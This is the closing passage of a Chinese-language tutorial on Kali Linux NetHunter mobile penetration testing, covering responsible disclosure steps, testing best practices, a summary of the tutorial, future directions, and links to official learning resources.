7.2 负责任披露
如果发现安全漏洞,应遵循负责任披露原则:
1. 首先向受影响方报告漏洞
2. 给予合理的时间修复漏洞
3. 避免公开漏洞细节,直到修复完成
4. 协助受影响方验证修复措施的有效性
5. 在适当的情况下,公开漏洞信息以提高安全意识
7.3 安全最佳实践
在进行渗透测试时,应遵循以下安全最佳实践:
1. 最小权限原则:仅使用完成测试所需的最低权限
2. 隔离测试环境:在隔离的环境中进行测试,避免影响生产系统
3. 记录所有活动:详细记录所有测试活动和结果
4. 保持工具更新:使用最新版本的工具和漏洞数据库
5. 持续学习:保持对新技术和威胁的了解
6. 团队协作:与团队成员分享知识和经验
8. 总结与展望
8.1 本文总结
本文全面介绍了Kali Linux NetHunter的各个方面,从基础环境配置到高级应用技巧。通过学习本文,您应该能够:
• 安装和配置Kali Linux NetHunter
• 使用各种渗透测试工具进行安全评估
• 执行无线网络、Web应用和移动应用的渗透测试
• 分析测试结果并提供安全建议
• 遵守法律和道德准则进行负责任的渗透测试
8.2 未来发展方向
随着技术的不断发展,移动安全测试领域也在不断演进。未来的发展方向可能包括:
1. AI辅助渗透测试:使用人工智能技术自动化漏洞发现和利用
2. 物联网安全测试:扩展NetHunter以支持物联网设备的安全测试
3. 云安全测试:集成云环境安全测试功能
4. 区块链安全测试:开发区块链应用和智能合约的安全测试工具
5. 5G网络安全测试:针对5G网络的安全评估工具和技术
8.3 持续学习资源
为了保持对移动安全测试领域的了解,建议关注以下资源:
1. Kali Linux官方文档:https://www.kali.org/docs/
2. NetHunter官方文档:https://www.kali.org/docs/nethunter/
3. Offensive Security:https://www.offensive-security.com/
4. OWASP移动安全项目:https://owasp.org/www-project-mobile-security/
5. 安全会议和培训:Black Hat, DEF CON, BSides等
通过不断学习和实践,您将成为一名优秀的移动安全测试专家,为保护数字世界做出贡献。 |
|